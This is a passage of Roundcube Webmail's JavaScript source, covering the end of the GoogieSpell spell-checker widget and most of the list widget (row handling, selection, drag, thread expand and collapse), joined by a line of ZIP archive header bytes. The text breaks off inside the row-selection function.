        $(this.edit_layer).dblclick(function(e) {
            if (e.target.className != 'googie_link' && !ref.isErrorWindowShown()) {
                ref.resumeEditing();
                var fn1 = function() {
                    $(ref.text_area).focus();
                    fn1 = null;
                };
                setTimeout(fn1, 10);
            }
            return false;
        });
    }
};

this.resumeEditing = function()
{
    this.setStateChanged('ready');

    if (this.edit_layer)
        this.el_scroll_top = this.edit_layer.scrollTop;

    this.hideErrorWindow();

    if (this.main_controller)
        $(this.spell_span).removeClass().addClass('googie_no_style');

    if (!this.ignore) {
        if (this.use_focus) {
            $(this.focus_link_t).remove();
            $(this.focus_link_b).remove();
        }

        $(this.edit_layer).remove();
        $(this.text_area).show();

        if (this.el_scroll_top != undefined)
            this.text_area.scrollTop = this.el_scroll_top;
    }
    this.checkSpellingState(false);
};

this.createErrorLink = function(text, id)
{
    var elm = document.createElement('span'),
        ref = this,
        d = function (e) {
            ref.showErrorWindow(elm, id);
            d = null;
            return false;
        };

    $(elm).html(text).addClass('googie_link').click(d).removeAttr('is_corrected')
        .attr({'googie_action_btn' : '1', 'g_id' : id});

    return elm;
};

this.createPart = function(txt_part)
{
    if (txt_part == " ")
        return document.createTextNode(" ");

    txt_part = this.escapeSpecial(txt_part);
    txt_part = txt_part.replace(/\n/g, "<br>");
    txt_part = txt_part.replace(/    /g, " &nbsp;");
    txt_part = txt_part.replace(/^ /g, "&nbsp;");
    txt_part = txt_part.replace(/ $/g, "&nbsp;");

    var span = document.createElement('span');
    $(span).html(txt_part);
    return span;
};

this.showErrorsInIframe = function()
{
    var output = document.createElement('div'),
        pointer = 0,
        results = this.results;

    if (results.length > 0) {
        for (var i=0, length=results.length; i < length; i++) {
            var offset = results[i]['attrs']['o'],
                len = results[i]['attrs']['l'],
                part_1_text = this.original_text.substring(pointer, offset),
                part_1 = this.createPart(part_1_text);

            output.appendChild(part_1);
            pointer += offset - pointer;

            // If the last child was an error, then insert some space
            var err_link = this.createErrorLink(this.original_text.substr(offset, len), i);
            this.error_links.push(err_link);
            output.appendChild(err_link);
            pointer += len;
        }

        // Insert the rest of the original text
        var part_2_text = this.original_text.substr(pointer, this.original_text.length),
            part_2 = this.createPart(part_2_text);

        output.appendChild(part_2);
    }
    else
        output.innerHTML = this.original_text;

    $(output).css('text-align', 'left');

    var me = this;
    if (this.custom_item_evaluator)
        $.map(this.error_links, function(elm){me.custom_item_evaluator(me, elm)});

    $(this.edit_layer).append(output);

    // Hide text area and show edit layer
    $(this.text_area).hide();
    $(this.edit_layer).insertBefore(this.text_area);

    if (this.use_focus) {
        this.focus_link_t = this.createFocusLink('focus_t');
        this.focus_link_b = this.createFocusLink('focus_b');

        $(this.focus_link_t).insertBefore(this.edit_layer);
        $(this.focus_link_b).insertAfter(this.edit_layer);
    }

//    this.edit_layer.scrollTop = this.ta_scroll_top;
};

this.deHighlightCurSel = function()
{
    $(this.lang_cur_elm).removeClass().addClass('googie_list_onout');
};

this.highlightCurSel = function()
{
    if (GOOGIE_CUR_LANG == null)
        GOOGIE_CUR_LANG = GOOGIE_DEFAULT_LANG;
    for (var i=0; i < this.lang_elms.length; i++) {
        if ($(this.lang_elms[i]).attr('googieId') == GOOGIE_CUR_LANG) {
            this.lang_elms[i].className = 'googie_list_selected';
            this.lang_cur_elm = this.lang_elms[i];
        }
        else {
            this.lang_elms[i].className = 'googie_list_onout';
        }
    }
};

this.createSpellDiv = function()
{
    var span = document.createElement('span');

    $(span).addClass('googie_check_spelling_link').text(this.lang_chck_spell);

    if (this.show_spell_img) {
        $(span).append(' ').append($('<img>').attr('src', this.img_dir + 'spellc.gif'));
    }
    return span;
};


//////
// State functions
/////
this.flashNoSpellingErrorState = function(on_finish)
{
    this.setStateChanged('no_error_found');

    var ref = this;
    if (this.main_controller) {
        var no_spell_errors;
        if (on_finish) {
            var fn = function() {
                on_finish();
                ref.checkSpellingState();
            };
            no_spell_errors = fn;
        }
        else
            no_spell_errors = function () { ref.checkSpellingState() };

        var rsm = $('<span>').text(this.lang_no_error_found);

        $(this.switch_lan_pic).hide();
        $(this.spell_span).empty().append(rsm)
        .removeClass().addClass('googie_check_spelling_ok');

        setTimeout(no_spell_errors, 1000);
    }
};

this.resumeEditingState = function()
{
    this.setStateChanged('resume_editing');

    //Change link text to resume
    if (this.main_controller) {
        var rsm = $('<span>').text(this.lang_rsm_edt);
    var ref = this;

        $(this.switch_lan_pic).hide();
        $(this.spell_span).empty().off().append(rsm)
            .click(function() { ref.resumeEditing(); })
            .removeClass().addClass('googie_resume_editing');
    }

    try { this.edit_layer.scrollTop = this.ta_scroll_top; }
    catch (e) {};
};

this.checkSpellingState = function(fire)
{
    if (fire)
        this.setStateChanged('ready');

    this.switch_lan_pic = document.createElement('span');

    var span_chck = this.createSpellDiv(),
        ref = this;

    if (this.custom_spellcheck_starter)
        $(span_chck).click(function(e) { ref.custom_spellcheck_starter(); });
    else {
        $(span_chck).click(function(e) { ref.spellCheck(); });
    }

    if (this.main_controller) {
        if (this.change_lang_pic_placement == 'left') {
            $(this.spell_container).empty().append(this.switch_lan_pic).append(' ').append(span_chck);
        } else {
            $(this.spell_container).empty().append(span_chck).append(' ').append(this.switch_lan_pic);
        }
    }

    this.spell_span = span_chck;
};


//////
// Misc. functions
/////
this.isDefined = function(o)
{
    return (o !== undefined && o !== null)
};

this.errorFixed = function()
{
    this.cnt_errors_fixed++;
    if (this.all_errors_fixed_observer)
        if (this.cnt_errors_fixed == this.cnt_errors) {
            this.hideErrorWindow();
            this.all_errors_fixed_observer();
        }
};

this.errorFound = function()
{
    this.cnt_errors++;
};

this.createCloseButton = function(c_fn)
{
    return this.createButton(this.lang_close, 'googie_list_close', c_fn);
};

this.createButton = function(name, css_class, c_fn)
{
    var btn_row = document.createElement('tr'),
        btn = document.createElement('td'),
        spn_btn;

    if (css_class) {
        spn_btn = document.createElement('span');
        $(spn_btn).addClass(css_class).html(name);
    } else {
        spn_btn = document.createTextNode(name);
    }

    $(btn).click(c_fn)
        .mouseover(this.item_onmouseover)
        .mouseout(this.item_onmouseout);

    btn.appendChild(spn_btn);
    btn_row.appendChild(btn);

    return btn_row;
};

this.removeIndicator = function(elm)
{
    //$(this.indicator).remove();
    // roundcube mod.
    if (window.rcmail)
        rcmail.set_busy(false, null, this.rc_msg_id);
};

this.appendIndicator = function(elm)
{
    // modified by roundcube
    if (window.rcmail)
        this.rc_msg_id = rcmail.set_busy(true, 'checking');
/*
    this.indicator = document.createElement('img');
    $(this.indicator).attr('src', this.img_dir + 'indicator.gif')
        .css({'margin-right': '5px', 'text-decoration': 'none'}).width(16).height(16);

    if (elm)
        $(this.indicator).insertBefore(elm);
    else
        $('body').append(this.indicator);
*/
}

this.createFocusLink = function(name)
{
    var link = document.createElement('a');
    $(link).attr({'href': 'javascript:;', 'name': name});
    return link;
};

this.item_onmouseover = function(e)
{
    if (this.className != 'googie_list_revert' && this.className != 'googie_list_close')
        this.className = 'googie_list_onhover';
    else
        this.parentNode.className = 'googie_list_onhover';
};

this.item_onmouseout = function(e)
{
    if (this.className != 'googie_list_revert' && this.className != 'googie_list_close')
        this.className = 'googie_list_onout';
    else
        this.parentNode.className = 'googie_list_onout';
};


};
PK
h�\ͼ��4�4�program/js/list.jsnu�[���/**
 * Roundcube List Widget
 *
 * This file is part of the Roundcube Webmail client
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can
 * redistribute it and/or modify it under the terms of the GNU
 * General Public License (GNU GPL) as published by the Free Software
 * Foundation, either version 3 of the License, or (at your option)
 * any later version.  The code is distributed WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS
 * FOR A PARTICULAR PURPOSE.  See the GNU GPL for more details.
 *
 * As additional permission under GNU GPL version 3 section 7, you
 * may distribute non-source (e.g., minimized or compacted) forms of
 * that code without the copy of the GNU GPL normally required by
 * section 4, provided you include this license notice and a URL
 * through which recipients can access the Corresponding Source.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 *
 * @author Thomas Bruederli <roundcube@gmail.com>
 * @author Charles McNulty <charles@charlesmcnulty.com>
 *
 * @requires jquery.js, common.js
 */


/**
 * Roundcube List Widget class
 * @constructor
 */
function rcube_list_widget(list, p)
{
  // static constants
  this.ENTER_KEY = 13;
  this.DELETE_KEY = 46;
  this.BACKSPACE_KEY = 8;

  this.list = list ? list : null;
  this.tagname = this.list ? this.list.nodeName.toLowerCase() : 'table';
  this.id_regexp = /^rcmrow([a-z0-9\-_=\+\/]+)/i;
  this.rows = {};
  this.selection = [];
  this.rowcount = 0;
  this.colcount = 0;

  this.subject_col = 0;
  this.modkey = 0;
  this.multiselect = false;
  this.multiexpand = false;
  this.multi_selecting = false;
  this.draggable = false;
  this.column_movable = false;
  this.keyboard = false;
  this.toggleselect = false;
  this.aria_listbox = false;
  this.parent_focus = true;
  this.checkbox_selection = false;

  this.drag_active = false;
  this.col_drag_active = false;
  this.column_fixed = null;
  this.last_selected = null;
  this.shift_start = null;
  this.focused = false;
  this.drag_mouse_start = null;
  this.dblclick_time = 500; // default value on MS Windows is 500
  this.row_init = function(){};  // @deprecated; use list.addEventListener('initrow') instead

  this.touch_start_time = 0; // start time of the touch event
  this.touch_event_time = 500; // maximum time a touch should be considered a left mouse button event, after this its something else (eg contextmenu event)

  // overwrite default parameters
  if (p && typeof p === 'object')
    for (var n in p)
      this[n] = p[n];

  // register this instance
  rcube_list_widget._instances.push(this);
};


rcube_list_widget.prototype = {


/**
 * get all message rows from HTML table and init each row
 */
init: function()
{
  if (this.tagname == 'table' && this.list && this.list.tBodies[0]) {
    this.thead = this.list.tHead;
    this.tbody = this.list.tBodies[0];
  }
  else if (this.tagname != 'table' && this.list) {
    this.tbody = this.list;
  }

  if ($(this.list).attr('role') == 'listbox') {
    this.aria_listbox = true;
    if (this.multiselect)
      $(this.list).attr('aria-multiselectable', 'true');
  }

  var me = this;

  if (this.tbody) {
    this.rows = {};
    this.rowcount = 0;

    var r, len, rows = this.tbody.childNodes;

    for (r=0, len=rows.length; r<len; r++) {
      if (rows[r].nodeType == 1)
        this.rowcount += this.init_row(rows[r]) ? 1 : 0;
    }

    this.init_header();
    this.frame = this.list.parentNode;

    // set body events
    if (this.keyboard) {
      rcube_event.add_listener({event:'keydown', object:this, method:'key_press'});

      // allow the table element to receive focus.
      $(this.list).attr('tabindex', '0')
        .on('focus', function(e) { me.focus(e); });
    }
  }

  if (this.parent_focus) {
    this.list.parentNode.onclick = function(e) { me.focus(); };
  }

  rcmail.triggerEvent('initlist', { obj: this.list });

  return this;
},


/**
 * Init list row and set mouse events on it
 */
init_row: function(row)
{
  row.uid = this.get_row_uid(row);

  // make references in internal array and set event handlers
  if (row && row.uid) {
    var self = this, uid = row.uid;
    this.rows[uid] = {uid:uid, id:row.id, obj:row};

    $(row).data('uid', uid)
      // set eventhandlers to table row (only left-button-clicks in mouseup)
      .mousedown(function(e) { return self.drag_row(e, this.uid); })
      .mouseup(function(e) {
        if (e.which == 1 && !self.drag_active && !$(e.currentTarget).is('.ui-droppable-active'))
          return self.click_row(e, this.uid);
        else
          return true;
      });

    // for IE and Edge (Trident) differentiate between touch, touch+hold using pointer events rather than touch
    if ((bw.ie || (bw.edge && bw.vendver < 75)) && bw.pointer) {
      $(row).on('pointerdown', function(e) {
          if (e.pointerType == 'touch') {
            self.touch_start_time = new Date().getTime();
            return false;
          }
        })
        .on('pointerup', function(e) {
          if (e.pointerType == 'touch') {
            var duration = (new Date().getTime() - self.touch_start_time);
            if (duration <= self.touch_event_time) {
              self.drag_row(e, this.uid);
              return self.click_row(e, this.uid);
            }
          }
        });
    }
    else if (bw.touch && row.addEventListener) {
      row.addEventListener('touchstart', function(e) {
        if (e.touches.length == 1) {
          self.touchmoved = false;
          self.drag_row(rcube_event.touchevent(e.touches[0]), this.uid);
          self.touch_start_time = new Date().getTime();
        }
      }, false);
      row.addEventListener('touchend', function(e) {
        if (e.changedTouches.length == 1) {
          var duration = (new Date().getTime() - self.touch_start_time);
          if (!self.touchmoved && duration <= self.touch_event_time && !self.click_row(rcube_event.touchevent(e.changedTouches[0]), this.uid))
            e.preventDefault();
        }
      }, false);
      row.addEventListener('touchmove', function(e) {
        if (e.changedTouches.length == 1) {
          self.touchmoved = true;
          if (self.drag_active)
            e.preventDefault();
        }
      }, false);
    }

    // label the list row with the subject col as descriptive label
    if (this.aria_listbox) {
      var lbl_id = 'l:' + row.id;
      $(row)
        .attr('role', 'option')
        .attr('aria-labelledby', lbl_id)
        .find(this.col_tagname()).eq(this.subject_column()).attr('id', lbl_id);
    }

    if (document.all)
      row.onselectstart = function() { return false; };

    this.row_init(this.rows[uid]);  // legacy support
    this.triggerEvent('initrow', this.rows[uid]);

    return true;
  }
},


/**
 * Init list column headers and set mouse events on them
 */
init_header: function()
{
  if (this.thead) {
    this.colcount = 0;

    if (this.fixed_header) {  // copy (modified) fixed header back to the actual table
      $(this.list.tHead).replaceWith($(this.fixed_header).find('thead').clone());
      $(this.list.tHead).find('th,td').attr('style', '').find('a').attr('tabindex', '-1');  // remove fixed widths
    }
    else if (!bw.touch && this.list.className.indexOf('fixedheader') >= 0) {
      this.init_fixed_header();
    }

    var col, r, p = this;
    // add events for list columns moving
    if (this.column_movable && this.thead && this.thead.rows) {
      for (r=0; r<this.thead.rows[0].cells.length; r++) {
        if (this.column_fixed == r)
          continue;
        col = this.thead.rows[0].cells[r];
        col.onmousedown = function(e) { return p.drag_column(e, this); };
        this.colcount++;
      }
    }
  }
},

/**
 * Set the scrollable parent object for the table's fixed header
 */
container: window,

init_fixed_header: function()
{
  var clone = $(this.list.tHead).clone();

  if (!this.fixed_header) {
    this.fixed_header = $('<table>')
      .attr('id', this.list.id + '-fixedcopy')
      .attr('class', this.list.className + ' fixedcopy')
      .attr('role', 'presentation')
      .css({ position:'fixed' })
      .append(clone)
      .append('<tbody></tbody>');
    $(this.list).before(this.fixed_header);

    var me = this;
    $(window).on('resize', function() { me.resize(); });
    $(this.container).on('scroll', function() {
        var w = $(this);
        me.fixed_header.css({
          marginLeft: -w.scrollLeft() + 'px',
          marginTop: -w.scrollTop() + 'px'
        });
      });
  }
  else {
    $(this.fixed_header).find('thead').replaceWith(clone);
  }

  // avoid scrolling header links being focused
  $(this.list.tHead).find('a.sortcol').attr('tabindex', '-1');

  // set tabindex to fixed header sort links
  clone.find('a.sortcol').attr('tabindex', '0');

  this.thead = clone.get(0);
  this.resize();
},

resize: function()
{
    if (!this.fixed_header)
      return;

    var column_widths = [];

    // get column widths from original thead
    $(this.tbody).parent().find('thead th,thead td').each(function(index) {
      column_widths[index] = $(this).width();
    });

    // apply fixed widths to fixed table header
    $(this.thead).parent().width($(this.tbody).parent().width());
    $(this.thead).find('th,td').each(function(index) {
      $(this).width(column_widths[index]);
    });

    $(window).scroll();
},

/**
 * Remove all list rows
 */
clear: function(sel)
{
  if (this.tagname == 'table') {
    var tbody = document.createElement('tbody');
    this.list.insertBefore(tbody, this.tbody);
    this.list.removeChild(this.list.tBodies[1]);
    this.tbody = tbody;
  }
  else {
    $(this.row_tagname() + ':not(.thead)', this.tbody).remove();
  }

  this.rows = {};
  this.rowcount = 0;
  this.last_selected = null;

  if (sel)
    this.clear_selection();

  // reset scroll position (in Opera)
  if (this.frame)
    this.frame.scrollTop = 0;

  // fix list header after removing any rows
  this.resize();
},


/**
 * 'remove' message row from list (just hide it)
 */
remove_row: function(uid, sel_next)
{
  var self = this, node = this.rows[uid] ? this.rows[uid].obj : null;

  if (!node)
    return;

  node.style.display = 'none';

  // Select next row before deletion, because we need the reference
  if (sel_next)
    this.select_next(uid);

  delete this.rows[uid];
  this.rowcount--;

  // fix list header after removing any rows
  clearTimeout(this.resize_timeout)
  this.resize_timeout = setTimeout(function() { self.resize(); }, 50);
},


/**
 * Add row to the list and initialize it
 */
insert_row: function(row, before)
{
  var self = this, tbody = this.tbody;

  // create a real dom node first
  if (row.nodeName === undefined) {
    // for performance reasons use DOM instead of jQuery here
    var i, e, domcell, col,
      domrow = document.createElement(this.row_tagname());

    if (row.id) domrow.id = row.id;
    if (row.uid) domrow.uid = row.uid;
    if (row.className) domrow.className = row.className;
    if (row.style) $.extend(domrow.style, row.style);

    for (i=0; row.cols && i < row.cols.length; i++) {
      col = row.cols[i];
      domcell = col.dom;
      if (!domcell) {
        domcell = document.createElement(this.col_tagname());
        if (col.className) domcell.className = col.className;
        if (col.innerHTML) domcell.innerHTML = col.innerHTML;
        for (e in col.events)
          domcell['on' + e] = col.events[e];
      }
      domrow.appendChild(domcell);
    }

    row = domrow;
  }

  if (this.checkbox_selection) {
    this.insert_checkbox(row);
  }

  if (before && tbody.childNodes.length)
    tbody.insertBefore(row, (typeof before == 'object' && before.parentNode == tbody) ? before : tbody.firstChild);
  else
    tbody.appendChild(row);

  this.init_row(row);
  this.rowcount++;

  // fix list header after adding any rows
  clearTimeout(this.resize_timeout)
  this.resize_timeout = setTimeout(function() { self.resize(); }, 50);
},

/**
 * Update existing record
 */
update_row: function(id, cols, newid, select)
{
  var row = this.rows[id];
  if (!row) return false;

  var i, domrow = row.obj;
  for (i = 0; cols && i < cols.length; i++) {
    this.get_cell(domrow, i).html(cols[i]);
  }

  if (newid) {
    delete this.rows[id];
    domrow.uid = newid;
    domrow.id = 'rcmrow' + newid;
    this.init_row(domrow);

    if (select)
      this.selection[0] = newid;

    if (this.last_selected == id)
      this.last_selected = newid;
  }
},

/**
 * Add selection checkbox to the list record
 */
insert_checkbox: function(row, tag_name)
{
  var key, self = this,
    cell = document.createElement(this.col_tagname(tag_name)),
    chbox = document.createElement('input');

  chbox.type = 'checkbox';
  chbox.tabIndex = -1;
  chbox.onchange = function(e) {
    self.select_row(row.uid, key || CONTROL_KEY, true);
    e.stopPropagation();
    key = null;
  };
  chbox.onmousedown = function(e) {
    key = rcube_event.get_modifier(e);
  };

  cell.className = 'selection';
  // make the whole cell "touchable" for touch devices
  cell.onclick = function(e) {
    if (!$(e.target).is('input')) {
      key = rcube_event.get_modifier(e);
      $(chbox).prop('checked', !chbox.checked).change();
    }
    e.stopPropagation();
  };

  cell.appendChild(chbox);

  row.insertBefore(cell, row.firstChild);
},

/**
 * Enable checkbox selection
 */
enable_checkbox_selection: function()
{
  this.checkbox_selection = true;

  // Add checkbox to existing records if any
  var r, len, cell, rows,
    row_tag = this.row_tagname().toUpperCase();

  if (this.thead) {
    rows = this.thead.childNodes;
    for (r=0, len=rows.length; r<len; r++) {
      if (rows[r].nodeName == row_tag && (cell = rows[r].firstChild)) {
        if (cell.className == 'selection')
          break;
        this.insert_checkbox(rows[r], 'thead');
      }
    }
  }

  rows = this.tbody.childNodes;
  for (r=0, len=rows.length; r<len; r++) {
    if (rows[r].nodeName == row_tag && (cell = rows[r].firstChild)) {
      if (cell.className == 'selection')
        break;
      this.insert_checkbox(rows[r], 'tbody');
    }
  }
},

/**
 * Set focus to the list
 */
focus: function(e)
{
  if (this.focused)
    return;

  this.focused = true;

  if (e)
    rcube_event.cancel(e);

  var focus_elem = null;

  if (this.last_selected && this.rows[this.last_selected]) {
    focus_elem = $(this.rows[this.last_selected].obj).find(this.col_tagname()).eq(this.subject_column()).attr('tabindex', '0');
  }

  // Un-focus already focused elements (#1487123, #1487316, #1488600, #1488620)
  if (focus_elem && focus_elem.length) {
    // We now fix this by explicitly assigning focus to a dedicated link element
    this.focus_noscroll(focus_elem);
  }
  else {
    // It looks that window.focus() does the job for all browsers, but not Firefox (#1489058)
    $('iframe,:focus:not(body)').blur();
    window.focus();
  }

  $(this.list).addClass('focus').removeAttr('tabindex');

  // set internal focus pointer to first row
  if (!this.last_selected)
    this.select_first(CONTROL_KEY);
},


/**
 * remove focus from the list
 */
blur: function(e)
{
  this.focused = false;

  // avoid the table getting focus right again (on Shift+Tab)
  var me = this;
  setTimeout(function() { $(me.list).attr('tabindex', '0'); }, 20);

  if (this.last_selected && this.rows[this.last_selected]) {
    $(this.rows[this.last_selected].obj)
      .find(this.col_tagname()).eq(this.subject_column()).removeAttr('tabindex');
  }

  $(this.list).removeClass('focus');
},

/**
 * Focus the given element without scrolling the list container
 */
focus_noscroll: function(elem)
{
  var y = this.frame.scrollTop || this.frame.scrollY;
  elem.focus();
  this.frame.scrollTop = y;
},


/**
 * Set/unset the given column as hidden
 */
hide_column: function(col, hide)
{
  var method = hide ? 'addClass' : 'removeClass';

  if (this.fixed_header)
    $(this.row_tagname()+' '+this.col_tagname()+'.'+col, this.fixed_header)[method]('hidden');

  $(this.row_tagname()+' '+this.col_tagname()+'.'+col, this.list)[method]('hidden');
},


/**
 * onmousedown-handler of message list column
 */
drag_column: function(e, col)
{
  if (this.colcount > 1) {
    this.drag_start = true;
    this.drag_mouse_start = rcube_event.get_mouse_pos(e);

    rcube_event.add_listener({event:'mousemove', object:this, method:'column_drag_mouse_move'});
    rcube_event.add_listener({event:'mouseup', object:this, method:'column_drag_mouse_up'});

    // enable dragging over iframes
    this.add_dragfix();

    // find selected column number
    for (var i=0; i<this.thead.rows[0].cells.length; i++) {
      if (col == this.thead.rows[0].cells[i]) {
        this.selected_column = i;
        break;
      }
    }
  }

  return false;
},


/**
 * onmousedown-handler of message list row
 */
drag_row: function(e, id)
{
  // don't do anything (another action processed before)
  if (!this.is_event_target(e))
    return true;

  // handle only left-clicks
  if (rcube_event.get_button(e) != 0)
    return true;

  this.in_selection_before = e && e.istouch || this.in_selection(id) ? id : false;

  // selects currently unselected row
  if (!this.in_selection_before) {
    var mod_key = rcube_event.get_modifier(e);
    this.select_row(id, mod_key, true);
  }

  if (this.draggable && this.selection.length && this.in_selection(id)) {
    this.drag_start = true;
    this.drag_mouse_start = rcube_event.get_mouse_pos(e);

    rcube_event.add_listener({event:'mousemove', object:this, method:'drag_mouse_move'});
    rcube_event.add_listener({event:'mouseup', object:this, method:'drag_mouse_up'});

    if (bw.touch) {
      rcube_event.add_listener({event:'touchmove', object:this, method:'drag_mouse_move'});
      rcube_event.add_listener({event:'touchend', object:this, method:'drag_mouse_up'});
    }

    // enable dragging over iframes
    this.add_dragfix();
    this.focus();
  }

  return false;
},


/**
 * onmouseup-handler of message list row
 */
click_row: function(e, id)
{
  // sanity check
  if (!id || !this.rows[id])
    return false;

  // don't do anything (another action processed before)
  if (!this.is_event_target(e))
    return true;

  var now = new Date().getTime(),
    dblclicked = now - this.rows[id].clicked < this.dblclick_time;

  // unselects currently selected row
  if (!this.drag_active && !dblclicked && this.in_selection_before == id)
    this.select_row(id, rcube_event.get_modifier(e), true);

  this.drag_start = false;
  this.in_selection_before = false;

  // row was double clicked
  if (this.rowcount && dblclicked && this.in_selection(id)) {
    this.triggerEvent('dblclick');
    now = 0;
  }
  else
    this.triggerEvent('click');

  if (!this.drag_active) {
    // remove temp divs
    this.del_dragfix();
    rcube_event.cancel(e);
  }

  this.rows[id].clicked = now;
  this.focus();

  return false;
},


/**
 * Check target of the current event
 */
is_event_target: function(e)
{
  var target = rcube_event.get_target(e),
    tagname = target.tagName.toLowerCase();

  return !(target && (tagname == 'input' || tagname == 'img' || (tagname != 'a' && target.onclick) || $(target).data('action-link')));
},


/*
 * Returns thread root ID for specified row ID
 */
find_root: function(uid)
{
   var r = this.rows[uid];

   if (r && r.parent_uid)
     return this.find_root(r.parent_uid);
   else
     return uid;
},


expand_row: function(e, id)
{
  var row = this.rows[id],
    evtarget = rcube_event.get_target(e),
    mod_key = rcube_event.get_modifier(e),
    action = (row.expanded ? 'collapse' : 'expand') + (mod_key == CONTROL_KEY || this.multiexpand ? '_all' : '');

  // Don't treat double click on the expando as double click on the message.
  row.clicked = 0;

  this[action](row);
},

collapse: function(row)
{
  var r, depth = row.depth,
    new_row = row ? row.obj.nextSibling : null;

  row.expanded = false;
  this.update_expando(row.id);
  this.triggerEvent('expandcollapse', { uid:row.uid, expanded:row.expanded, obj:row.obj });

  while (new_row) {
    if (new_row.nodeType == 1) {
      r = this.rows[new_row.uid];
      if (r && r.depth <= depth)
        break;

      $(new_row).css('display', 'none');
      if (r.expanded) {
        r.expanded = false;
        this.triggerEvent('expandcollapse', { uid:r.uid, expanded:r.expanded, obj:new_row });
      }
    }
    new_row = new_row.nextSibling;
  }

  this.resize();
  this.triggerEvent('listupdate');

  return false;
},

expand: function(row)
{
  var r, p, depth, new_row, last_expanded_parent_depth;

  if (row) {
    row.expanded = true;
    depth = row.depth;
    new_row = row.obj.nextSibling;
    this.update_expando(row.id, true);
    this.triggerEvent('expandcollapse', { uid:row.uid, expanded:row.expanded, obj:row.obj });
  }
  else {
    var tbody = this.tbody;
    new_row = tbody.firstChild;
    depth = 0;
    last_expanded_parent_depth = 0;
  }

  while (new_row) {
    if (new_row.nodeType == 1) {
      r = this.rows[new_row.uid];
      if (r) {
        if (row && (!r.depth || r.depth <= depth))
          break;

        if (r.parent_uid) {
          p = this.rows[r.parent_uid];
          if (p && p.expanded) {
            if ((row && p == row) || last_expanded_parent_depth >= p.depth - 1) {
              last_expanded_parent_depth = p.depth;
              $(new_row).css('display', '');
              r.expanded = true;
              this.update_expando(r.id, true);
              this.triggerEvent('expandcollapse', { uid:r.uid, expanded:r.expanded, obj:new_row });
            }
          }
          else
            if (row && (! p || p.depth <= depth))
              break;
        }
      }
    }
    new_row = new_row.nextSibling;
  }

  this.resize();
  this.triggerEvent('listupdate');

  return false;
},


collapse_all: function(row)
{
  var depth, new_row, r;

  if (row) {
    row.expanded = false;
    depth = row.depth;
    new_row = row.obj.nextSibling;
    this.update_expando(row.id);
    this.triggerEvent('expandcollapse', { uid:row.uid, expanded:row.expanded, obj:row.obj });

    // don't collapse sub-root tree in multiexpand mode
    if (depth && this.multiexpand)
      return false;
  }
  else {
    new_row = this.tbody.firstChild;
    depth = 0;
  }

  while (new_row) {
    if (new_row.nodeType == 1) {
      if (r = this.rows[new_row.uid]) {
        if (row && (!r.depth || r.depth <= depth))
          break;

        if (row || r.depth)
          $(new_row).css('display', 'none');
        if (r.expanded) {
          r.expanded = false;
          if (r.has_children) {
            this.update_expando(r.id);
            this.triggerEvent('expandcollapse', { uid:r.uid, expanded:r.expanded, obj:new_row });
          }
        }
      }
    }
    new_row = new_row.nextSibling;
  }

  this.resize();
  this.triggerEvent('listupdate');

  return false;
},


expand_all: function(row)
{
  var depth, new_row, r;

  if (row) {
    row.expanded = true;
    depth = row.depth;
    new_row = row.obj.nextSibling;
    this.update_expando(row.id, true);
    this.triggerEvent('expandcollapse', { uid:row.uid, expanded:row.expanded, obj:row.obj });
  }
  else {
    new_row = this.tbody.firstChild;
    depth = 0;
  }

  while (new_row) {
    if (new_row.nodeType == 1) {
      if (r = this.rows[new_row.uid]) {
        if (row && r.depth <= depth)
          break;

        $(new_row).css('display', '');
        if (!r.expanded) {
          r.expanded = true;
          if (r.has_children) {
            this.update_expando(r.id, true);
            this.triggerEvent('expandcollapse', { uid:r.uid, expanded:r.expanded, obj:new_row });
          }
        }
      }
    }
    new_row = new_row.nextSibling;
  }

  this.resize();
  this.triggerEvent('listupdate');

  return false;
},


update_expando: function(id, expanded)
{
  var expando = document.getElementById('rcmexpando' + id);
  if (expando)
    expando.className = expanded ? 'expanded' : 'collapsed';
},

get_row_uid: function(row)
{
  if (!row)
    return;

  if (!row.uid) {
    var uid = $(row).data('uid');
    if (uid)
      row.uid = uid;
    else if (String(row.id).match(this.id_regexp))
      row.uid = RegExp.$1;
  }

  return row.uid;
},

/**
 * get first/next/previous/last rows that are not hidden
 */
get_next_row: function(uid)
{
  if (!this.rowcount)
    return false;

  var last_selected_row = this.rows[uid || this.last_selected],
    new_row = last_selected_row ? last_selected_row.obj.nextSibling : null;

  while (new_row && (new_row.nodeType != 1 || new_row.style.display == 'none'))
    new_row = new_row.nextSibling;

  return new_row;
},

get_prev_row: function(uid)
{
  if (!this.rowcount)
    return false;

  var last_selected_row = this.rows[uid || this.last_selected],
    new_row = last_selected_row ? last_selected_row.obj.previousSibling : null;

  while (new_row && (new_row.nodeType != 1 || new_row.style.display == 'none'))
    new_row = new_row.previousSibling;

  return new_row;
},

get_first_row: function()
{
  if (this.rowcount) {
    var i, uid, rows = this.tbody.childNodes;

    for (i=0; i<rows.length; i++)
      if (rows[i].id && (uid = this.get_row_uid(rows[i])) && this.rows[uid])
        return uid;
  }

  return null;
},

get_last_row: function()
{
  if (this.rowcount) {
    var i, uid, rows = this.tbody.childNodes;

    for (i=rows.length-1; i>=0; i--)
      if (rows[i].id && (uid = this.get_row_uid(rows[i])) && this.rows[uid])
        return uid;
  }

  return null;
},

get_next: function()
{
  var row;
  if (row = this.get_next_row()) {
    return row.uid;
  }
},

get_prev: function()
{
  var row;
  if (row = this.get_prev_row()) {
    return row.uid;
  }
},

row_tagname: function()
{
  var row_tagnames = { table:'tr', ul:'li', '*':'div' };
  return row_tagnames[this.tagname] || row_tagnames['*'];
},

col_tagname: function(tagname)
{
  var col_tagnames = { table:'td', thead:'th', tbody:'td', '*':'span' };
  return col_tagnames[tagname || this.tagname] || col_tagnames['*'];
},

get_cell: function(row, index)
{
  return $(this.col_tagname(), row).eq(index + (this.checkbox_selection ? 1 : 0));
},

/**
 * selects or unselects the proper row depending on the modifier key pressed
 */
select_row: function(id, mod_key, with_mouse)
{
  var select_before = this.selection.join(','),
    in_selection_before = this.in_selection(id);

  if (!this.multiselect && with_mouse)
    mod_key = 0;

  if (!this.shift_start)
    this.shift_start = id

  if (!mod_key) {
    this.shift_start = id;
    this.highlight_row(id, false);
    this.multi_selecting = false;
  }
  else {
    switch (mod_key) {
      case SHIFT_KEY:
        this.shift_select(id, false);
        break;

      case CONTROL_KEY:
        if (with_mouse) {
          this.shift_start = id;
          this.highlight_row(id, true);
        }
        break;

